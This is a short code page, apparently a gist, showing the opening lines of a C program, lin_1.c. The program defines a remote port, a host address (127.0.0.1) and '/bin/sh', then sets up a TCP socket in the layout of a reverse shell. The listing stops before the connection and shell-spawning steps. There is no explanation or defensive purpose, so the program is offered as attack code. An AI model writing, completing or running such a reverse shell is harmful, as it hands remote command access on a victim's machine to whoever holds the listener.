This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // gcc -g -o L1 lin_1.c | |
| #include <arpa/inet.h> | |
| #include <stdio.h> | |
| #include <unistd.h> | |
| #define RP 1234 | |
| #define RH "127.0.0.1" | |
| #define BIN "/bin/sh" | |
| int main(){ | |
| int is = 0;is = socket(AF_INET,SOCK_STREAM,0); | |
| struct sockaddr_in s1; |
OlderNewer